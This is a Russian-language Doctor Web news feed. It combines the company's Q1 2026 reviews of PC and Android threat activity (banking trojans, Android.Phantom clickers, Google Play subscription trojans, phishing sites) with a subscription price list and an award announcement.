Самыми распространенными нежелательными приложениями стали поддельные антивирусы Program.FakeAntiVirus, которые якобы обнаруживают угрозы и для их «лечения» требуют приобрести полную версию. Кроме того, пользователи вновь сталкивались с программами из семейств Program.FakeMoney и Program.CloudInject. Первые якобы позволяют зарабатывать на выполнении различных заданий. Вторые представляют собой ПО, модифицированное через облачный сервис CloudInject. С его помощью в приложения добавляются опасные системные разрешения и обфусцированный код, функциональность которого невозможно проконтролировать.

Среди рекламного ПО лидерами по числу детектирований стали программы-оптимизаторы Adware.Bastion.1.origin. Они периодически создают уведомления с вводящими в заблуждение сообщениями о якобы нехватке памяти и ошибках системы. Их целью является демонстрация рекламы во время «оптимизации». Другим популярным рекламным ПО были приложения Adware.Opensite.15, которые злоумышленники выдают за чит-инструменты для получения ресурсов в играх. На самом деле такие программы загружают различные сайты с объявлениями. Распространение вновь получили и программы со встроенными рекламными модулями Adware.AdPush.

В январе компания «Доктор Веб» проинформировала пользователей об Android.Phantom — новом семействе троянских приложений-кликеров. Наши вирусные аналитики выявили несколько источников распространения этих вредоносных программ. Среди них — официальный каталог приложений для устройств Xiaomi GetApps, где трояны были внедрены в ряд игр. Кроме того, киберпреступники распространяли кликеры вместе с модами популярных приложений через различные Telegram-каналы, серверы Discord, онлайн-сборники ПО и вредоносные сайты.

С помощью Android.Phantom злоумышленники накручивают рекламные клики на веб-сайтах, применяя для этого технологии машинного обучения и WebRTC — технологию передачи потоковых данных (в том числе видео) через браузер. Трояны загружают в невидимом WebView целевые интернет-ресурсы вместе с JavaScript-кодом для симуляции действий пользователя. Взаимодействие с объявлениями происходит в одном из двух режимов. Если на устройстве возможно использование WebRTC, кликеры Android.Phantom транслируют злоумышленникам виртуальный экран с загруженным сайтом, и те управляют им вручную или с использованием автоматизированной системы.

Если WebRTC недоступен, применяются автоматизированные сценарии на языке JavaScript, которые используют фреймворк TensorFlowJS. Кликеры скачивают с удаленного сервера необходимую поведенческую модель, а также JavaScript, содержащий сам фреймворк и все необходимые функции для работы модели и взаимодействия с целевыми сайтами.

В течение I квартала антивирусная лаборатория компании «Доктор Веб» зафиксировала появление новых угроз в каталоге Google Play. Среди них — множество троянских приложений Android.Joker, а также вредоносные программы Android.Subscription.23 и Android.Subscription.24. Все они созданы для подписки пользователей на платные услуги.

Главные тенденции I квартала

Банковские трояны Android.Banker стали самыми распространенными Android-угрозами
Злоумышленники стали чаще использовать инструменты для моддинга Android-программ с целью защиты банковских троянов
Продолжилось снижение активности рекламных троянов Android.MobiDash и Android.HiddenAds
Распространение троянских приложений Android.Phantom, которые используют машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах
Обнаружены новые вредоносные приложения в каталоге Google Play

По данным Dr.Web Security Space для мобильных устройств

Android.Banker.Mamont.80.origin: Банковский троян, который перехватывает СМС с одноразовыми кодами от кредитных организаций, содержимое уведомлений, а также собирает другую конфиденциальную информацию. Она включает технические данные о зараженном устройстве, список установленных приложений, информацию о СИМ-карте, телефонных звонках, поступивших и отправленных СМС.
Android.FakeApp.1600: Троянская программа, которая загружает указанный в ее настройках веб-сайт. Известные модификации этого вредоносного приложения загружают сайт онлайн-казино.
Android.HiddenAds.675.origin: Троянская программа для показа навязчивой рекламы. Представители семейства Android.HiddenAds часто распространяются под видом безобидных приложений и, в некоторых случаях, устанавливаются в системный каталог другим вредоносным ПО. Попадая на Android-устройства, такие рекламные трояны обычно скрывают от пользователя свое присутствие в системе — например, «прячут» значок приложения из меню главного экрана.
Android.Packed.57.origin: Детектирование обфускатора, который в том числе используется для защиты вредоносных приложений (например, некоторых версий банковских троянов Android.SpyMax).
Android.Click.1812: Детектирование вредоносных модов мессенджера WhatsApp, которые незаметно для пользователя могут загружать различные сайты в фоновом режиме.

Program.FakeAntiVirus.1: Детектирование рекламных программ, которые имитируют работу антивирусного ПО. Такие программы могут сообщать о несуществующих угрозах и вводить пользователей в заблуждение, требуя оплатить покупку полной версии.
Program.FakeMoney.11: Детектирование приложений, якобы позволяющих зарабатывать на выполнении тех или иных действий или заданий. Эти программы имитируют начисление вознаграждений, причем для вывода «заработанных» денег требуется накопить определенную сумму. Обычно в них имеется список популярных платежных систем и банков, через которые якобы возможно вывести награды. Но даже когда пользователям удается накопить достаточную для вывода сумму, обещанные выплаты не поступают. Этой записью также детектируется другое нежелательное ПО, основанное на коде таких программ.
Program.CloudInject.5
Program.CloudInject.1: Детектирование Android-приложений, модифицированных при помощи облачного сервиса CloudInject и одноименной Android-утилиты (добавлена в вирусную базу Dr.Web как Tool.CloudInject). Такие программы модифицируются на удаленном сервере, при этом заинтересованный в их изменении пользователь (моддер) не контролирует, что именно будет в них встроено. Кроме того, приложения получают набор опасных разрешений. После модификации программ у моддера появляется возможность дистанционно управлять ими: блокировать, показывать настраиваемые диалоги, отслеживать факт установки и удаления другого ПО и т. д.
Program.SnoopPhone.1.origin: Программа для наблюдения за владельцами Android-устройств. Она позволяет читать СМС, получать информацию о телефонных вызовах, отслеживать местоположение устройства и выполнять аудиозапись окружения.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Детектирование Android-программ, в которые при помощи хакерских инструментов для моддинга приложений добавлен мусорный код. Такая модификация выполняется с целью запутывания логики программ. Эта техника часто встречается в банковских троянах и в пиратских версиях ПО.
Tool.NPMod.3
Tool.NPMod.1: Детектирование Android-приложений, модифицированных при помощи утилиты NP Manager. Эта утилита содержит модули для обфускации и защиты кода программ, а также обхода проверки их цифровой подписи после модификации. Добавляемая ей обфускация часто используется во вредоносном ПО для затруднения его детектирования и анализа.
Tool.LuckyPatcher.2.origin: Утилита, позволяющая модифицировать установленные Android-приложения (создавать для них патчи) с целью изменения логики их работы или обхода тех или иных ограничений. Например, с ее помощью пользователи могут попытаться отключить проверку root-доступа в банковских программах или получить неограниченные ресурсы в играх. Для создания патчей утилита загружает из интернета специально подготовленные скрипты, которые могут создавать и добавлять в общую базу все желающие. Функциональность таких скриптов может оказаться в том числе и вредоносной, поэтому создаваемые патчи могут представлять потенциальную опасность.

Adware.Bastion.1.origin: Детектирование программ-оптимизаторов, которые периодически создают уведомления с вводящими в заблуждение сообщениями якобы о нехватке памяти и ошибках системы с целью показывать рекламу во время «оптимизации».
Adware.AdPush.3.origin: Рекламный модуль, который может быть интегрирован в Android-программы. Он демонстрирует рекламные уведомления, вводящие пользователей в заблуждение. Например, такие уведомления могут напоминать сообщения от операционной системы. Кроме того, этот модуль собирает ряд конфиденциальных данных, а также способен загружать другие приложения и инициировать их установку.
Adware.Opensite.15: Приложения, выдаваемые за чит-инструменты для получения ресурсов в играх. На самом деле они созданы для демонстрации рекламы. Эти программы получают с удаленного сервера конфигурацию, в соответствии с которой загружают целевой сайт с объявлениями — баннерами, всплывающими окнами, видеороликами и т. д.
Adware.Fictus.1.origin: Рекламный модуль, который злоумышленники встраивают в версии-клоны популярных Android-игр и программ. Его интеграция в программы происходит при помощи специализированного упаковщика net2share. Созданные таким образом копии ПО распространяются через различные каталоги приложений, и после установки демонстрируют нежелательную рекламу.
Adware.Airpush.7.origin: Программные модули, встраиваемые в Android-приложения и демонстрирующие разнообразную рекламу. В зависимости от версии и модификации это могут быть рекламные уведомления, всплывающие окна или баннеры. С помощью данных модулей злоумышленники часто распространяют вредоносные программы, предлагая установить то или иное ПО. Кроме того, такие модули передают на удаленный сервер различную конфиденциальную информацию.

Угрозы в Google Play

В I квартале 2026 года специалисты антивирусной лаборатории «Доктор Веб» выявили в каталоге Google Play очередные вредоносные приложения Android.Joker, которые подписывают жертв на платные услуги. Трояны скрывались в ряде утилит для оптимизации работы Android-устройств, а также распространялись под видом мессенджеров, мультимедийного и другого ПО. Суммарно пользователи установили их, по меньшей мере, 370 000 раз.

Примеры вредоносных программ Android.Joker, выявленных в Google Play в I квартале 2026 года. Android.Joker.2511 был встроен в мессенджер Private Chat Message, а Android.Joker.2524 — в программу-фотокамеру Magic Camera

Кроме того, наши вирусные аналитики обнаружили вредоносные программы Android.Subscription.23 и Android.Subscription.24, также предназначенные для подключения пользователей к платным сервисам. Трояны загружают веб-сайты, на которых при помощи технологии Wap Click активируются платные мобильные подписки. На этих сайтах у пользователей запрашивается номер мобильного телефона, после чего происходит попытка автоматического подключения услуги. Оба вредоносных приложения суммарно были загружены из каталога Google Play свыше 1 500 000 раз.

Вредоносные программы Android.Subscription.23 и Android.Subscription.24 распространялись под видом приложений Stream Hive и Prime Link для управления личными финансами, однако их единственной функциональностью была загрузка сайтов для подключения владельцев Android-устройств к платным мобильным сервисам

Индикаторы компрометации

«Доктор Веб»: обзор вирусной активности в I квартале 2026 года

Wed, 01 Apr 2026 00:00:00 GMT

Скачать PDF

1 апреля 2026 года

Согласно статистике детектирований антивируса Dr.Web, в I квартале 2026 года общее число обнаруженных угроз снизилось на 6,77% по сравнению с IV кварталом прошлого года. Число уникальных угроз уменьшилось на 11,98%. Чаще всего на защищаемых устройствах обнаруживалось рекламное ПО и рекламные трояны, вредоносные программы-загрузчики, а также бэкдоры.

В почтовом трафике наиболее часто встречались вредоносные скрипты, бэкдоры и различные троянские приложения. Через электронные письма злоумышленники также распространяли фишинговые документы и эксплойты.

Пользователи, чьи файлы были затронуты троянами-шифровальщиками, чаще всего сталкивались с энкодерами Trojan.Encoder.35534, Trojan.Encoder.29750 и Trojan.Encoder.41868.

В I квартале 2026 года интернет-аналитики компании «Доктор Веб» выявили новые фишинговые сайты, включая поддельные ресурсы кредитных организаций и маркетплейсов, а также ряд других нежелательных сайтов.

В сегменте мобильных устройств наблюдалась возросшая активность банковских троянов. При этом наши вирусные аналитики отметили рост популярности методики защиты вредоносных программ от обнаружения антивирусным ПО, которая заключается в добавлении в них мусорного кода.

В январе эксперты «Доктор Веб» рассказали о троянах-кликерах Android.Phantom, которые используют машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах. Кроме того, в течение последних 3 месяцев мы зафиксировали появление очередных вредоносных программ в каталоге Google Play, среди которых были трояны, подписывающие пользователей на платные услуги.

Главные тенденции I квартала

Снизилось число угроз, обнаруженных на защищаемых устройствах
Среди детектируемых угроз сократилось число уникальных файлов
По сравнению с прошлым периодом наблюдения было зафиксировано меньше запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками
Продолжился рост активности банковских троянов для Android-устройств
Пользователям угрожали вредоносные программы-кликеры Android.Phantom, которые используют, в том числе, технологии машинного обучения для накрутки кликов на веб-сайтах
В каталоге Google Play были выявлены очередные вредоносные программы

По данным сервиса статистики «Доктор Веб»

Наиболее распространенные угрозы I квартала 2026 года

Trojan.Siggen31.34463: Троян, написанный на языке программирования Go и предназначенный для загрузки в целевую систему различных майнеров и рекламного ПО. Вредоносная программа является DLL-файлом и располагается в %appdata%\utorrent\lib.dll. Для своего запуска эксплуатирует уязвимость класса DLL Search Order Hijacking в торрент-клиенте uTorrent.
Adware.Downware.20655
Adware.Downware.20766: Рекламное ПО, выступающее в роли промежуточного установщика пиратских программ.
Trojan.BPlug.4268: Детектирование вредоносного компонента браузерного расширения WinSafe. Этот компонент представляет собой сценарий JavaScript, который демонстрирует навязчивую рекламу в браузерах.
Adware.Siggen.33379: Поддельный браузерный блокировщик рекламы Adblock Plus, который устанавливается в систему другими вредоносными приложениями с целью показа рекламы.

Статистика вредоносных программ в почтовом трафике

Наиболее распространенные угрозы I квартала 2026 года в почтовом трафике

JS.DownLoader.1225: Эвристическое детектирование для ZIP-архивов, содержащих скрипты JavaScript с подозрительными именами.
W97M.DownLoader.2938: Семейство троянов-загрузчиков, использующих уязвимости документов Microsoft Office. Они предназначены для загрузки других вредоносных программ на атакуемый компьютер.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Эксплойты для использования уязвимостей в ПО Microsoft Office, позволяющие выполнить произвольный код.
JS.Redirector.514: Вредоносный скрипт, перенаправляющий пользователя на подконтрольную злоумышленникам веб-страницу.

Шифровальщики

В I квартале 2026 года число запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, сократилось на 31,51% по сравнению с IV кварталом минувшего года. Снижение произошло на фоне новогодних праздников и связанных с ними продолжительных выходных, в течение которых ряд киберпреступников мог приостановить активность и уйти на каникулы. При этом пользователи, которые все же пострадали от атак троянов-шифровальщиков в этот период, могли не сразу среагировать на произошедшие инциденты.

Динамика поступления запросов на расшифровку в Службу технической поддержки «Доктор Веб»:

Наиболее распространенные энкодеры I квартала 2026 года

Trojan.Encoder.35534 — 15,59% обращений пользователей
Trojan.Encoder.29750 — 3,23% обращений пользователей
Trojan.Encoder.41868 — 3,23% обращений пользователей
Trojan.Encoder.26996 — 1,62% обращений пользователей
Trojan.Encoder.44383 — 1,61% обращений пользователей

Сетевое мошенничество

За минувшие 3 месяца интернет-аналитики компании «Доктор Веб» выявили ряд новых поддельных сайтов маркетплейсов. На них злоумышленники предлагают принять участие в «распродаже» якобы невыкупленных заказов. Мошенническая схема заключается в следующем: «невостребованные» товары из заказов разделены на различные категории (электроника, одежда, обувь, косметика и т. д.) и якобы собираются в соответствующие коробки-сюрпризы. Их содержимое неизвестно и может включать, в том числе, дорогие вещи. При этом такие коробки потенциальным жертвам предлагается купить за относительно невысокую стоимость, что и является главной приманкой.

Поддельный сайт маркетплейса обещает «распродажу невостребованных заказов», которые якобы переполняют склады

Когда пользователь выбирает одну из коробок, ему предлагается оформить заказ и указать персональные данные, которые могут включать имя и фамилию, номер мобильного телефона и адрес электронной почты. Затем он перенаправляется на страницу оплаты через СБП. В итоге жертва лишается денег и передает мошенникам конфиденциальные сведения.

После оформления «заказа» жертве предлагается оплатить его через Систему быстрых платежей

Наши эксперты также выявили множество сайтов сервисов, предлагающих различные финансовые услуги, например — возможность оперативного получения микрозайма, кредита или прохождения процедуры банкротства. Такие сервисы сами не предоставляют эти услуги, как того ожидают пользователи, и являются лишь посредниками между клиентами и финансовыми организациями. Они на платной основе дают доступ к подборке потенциально подходящих вариантов, в то время как агрегация подобных финансовых предложений доступна в бесплатных источниках. Более того, эти сервисы не гарантируют успешный результат при подаче заявки. В то же время, оплата доступа является не единовременной и представляет собой платную подписку с периодическим списанием денег.

Один из веб-сайтов, где доступ к сервису по подбору финансовых предложений является платным и оформляется в виде подписки

В некоторых случаях подобные ресурсы могут вводить пользователей в заблуждение, предлагая одну услугу, например — трудоустройство, но фактически предоставлять по подписке доступ к тем же финансовым предложениям по получению кредитов, микрозаймов и т. д.

Веб-сайт обещает помощь в поиске работы, но после оплаты доступа к сервису вместо списка вакансий может предоставить финансовые предложения от партнеров на получение кредита, микрозайма и т. п.

Среди выявленных в I квартале фишинговых сайтов встречались поддельные интернет-ресурсы благотворительного спортивного забега «Зеленый марафон». На них посетителям предлагается зарегистрироваться для участия в марафоне, однако эти сайты не имеют отношения к мероприятию и созданы для сбора конфиденциальных данных пользователей.

Один из поддельных сайтов забега «Зеленый марафон»

Интернет-аналитики «Доктор Веб» также выявили очередные поддельные сайты инвестиционных сервисов, якобы имеющих отношение к различным кредитным организациям. Среди них были сайты, ориентированные на аудиторию из России, Казахстана и других стран. Мошенники обещают потенциальным жертвам высокую прибыль и для «доступа» к псевдоинвестиционным платформам просят пройти короткий опрос и зарегистрировать учетную запись, указав персональную информацию.

Пример фишингового сайта, который злоумышленники выдают за официальный ресурс инвестиционного сервиса одного из российских банков

Пример фишингового сайта, который злоумышленники выдают за официальный ресурс инвестиционного сервиса одной из кредитных организаций Казахстана

Узнайте больше о нерекомендуемых антивирусом Dr.Web сайтах

Вредоносное и нежелательное ПО для мобильных устройств

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, в I квартале 2026 года продолжился рост активности банковских троянов Android.Banker, который наблюдался в IV квартале минувшего года. Наиболее распространенными среди них стали представители подсемейства Android.Banker.Mamont. В то же время вновь сократилось число детектирований рекламных троянов Android.MobiDash и Android.HiddenAds.

Среди выявленного потенциально опасного ПО лидировали программы, в которые при помощи инструментов для моддинга внедрен мусорный код (детектируются как Tool.Obfuscator.TrashCode). Такая методика в настоящее время активно применяется для защиты банковских троянов от обнаружения антивирусами. Кроме того, по-прежнему распространенными были приложения, модифицированные при помощи утилиты NP Manager (детектируются как Tool.NPMod).

Наиболее часто детектируемым нежелательным ПО стали поддельные антивирусы Program.FakeAntiVirus, которые для «лечения» якобы выявленных угроз требуют приобрести полную версию. Самым активным рекламным ПО в I квартале оказались программы Adware.Bastion.1.origin и Adware.Opensite.15. Первые представляют собой приложения-оптимизаторы, которые создают уведомления с сообщениями о якобы нехватке памяти и ошибках системы, чтобы показывать рекламу во время «оптимизации». Вторые являются поддельными чит-программами для получения различных ресурсов в играх, но в действительности лишь загружают веб-сайты с рекламой.

В январе 2026 года наша антивирусная лаборатория предупредила о троянах-кликерах Android.Phantom. Эти вредоносные приложения используют машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах. Киберпреступники распространяли их сразу несколькими способами: через каталог GetApps для устройств Xiaomi, Telegram-каналы, серверы Discord, сторонние сборники ПО и через вредоносные сайты.

В течение минувших 3 месяцев вирусные аналитики «Доктор Веб» выявили в каталоге Google Play новые угрозы, среди которых были троянские приложения Android.Joker и Android.Subscription, предназначенные для подписки пользователей на платные услуги.

Наиболее заметные события, связанные с «мобильной» безопасностью в I квартале

Банковские трояны Android.Banker стали самыми распространенными угрозами для Android-устройств
Киберпреступники чаще использовали утилиты для моддинга Android-приложений, чтобы защитить банковские трояны от обнаружения антивирусами
Продолжилась тенденция к снижению активности рекламных троянов Android.MobiDash и Android.HiddenAds
Пользователям угрожали трояны Android.Phantom, использующие машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах
В каталоге Google Play вновь распространялись вредоносные приложения

Более подробно о вирусной обстановке для мобильных устройств в I квартале 2026 года читайте в нашем обзоре.

Dr.Web по подписке: новые цены

Wed, 25 Mar 2026 14:36:26 GMT

Компания «Доктор Веб» сообщает, что с 1 апреля 2026 года изменяются цены на решения Dr.Web по подписке.

Ниже представлены актуальные цены: чем больше устройств защищает пользователь, тем ниже стоимость использования подписки для одного устройства.

Dr.Web Персональный	Цена за 1 устройство, руб./день	Итоговая цена за общее количество устройств, руб./день
1 устройство	5,20	5,20
2 устройства	2,70	5,40
3 устройства	1,80	5,40
4 устройства	1,40	5,60
5 устройств	1,20	6,00

Dr.Web Мобильный	Цена за 1 устройство, руб./день	Итоговая цена за общее количество устройств, руб./день
1 устройство	2,10	2,10
2 устройства	1,10	2,20
3 устройства	0,70	2,10
4 устройства	0,60	2,40
5 устройств	0,50	2,50

Dr.Web Расширенный	Цена за 1 пару устройств*, руб./день	Итоговая цена за общее количество устройств, руб./день
1 пара устройств	6,90	6,90
2 пары устройств	3,60	7,20
3 пары устройств	2,50	7,50
4 пары устройств	1,90	7,60
5 пар устройств	1,60	8,00

* Одна пара устройств — это 1 персональный компьютер и 1 мобильное устройство.

Служба поддержки продаж всегда готова ответить на ваши вопросы.

Решение для защиты персональных компьютеров Dr.Web получило награду SKD AWARDS

Tue, 24 Mar 2026 14:00:00 GMT

Решение для защиты персональных компьютеров Dr.Web Security Space в очередной раз было отмечено отраслевой премией SKD AWARDS. Dr.Web Security Space был признан лучшим в категории «Антивирусы для ПК».

Для «Доктор Веб» это уже третья подобная награда подряд. В 2023 году Dr.Web Security Space 12.0 для Windows выиграл в категории «Безопасность персональных компьютеров», в 2024 антивирусное решение для персональных компьютеров вновь было признано лучшим, а Dr.Web Mobile Engine SDK победил в категории «Антивирусные движки».

SKD AWARDS — это ежегодная премия, проводимая SKD Labs, всемирно известной независимой лабораторией тестирования и сертификации в области информационной безопасности. Неофициально эту премию называют «Оскар для продуктов кибербезопасности» и рассматривают в качестве одного из важных показателей при оценке эффективности специализированных продуктов.

В рамках премии, продукты проходят серию тестов, в ходе которых оцениваются их функциональность, производительность, технические инновации, поведение в реальных сценариях, способность обнаружения угроз и реагирование на них.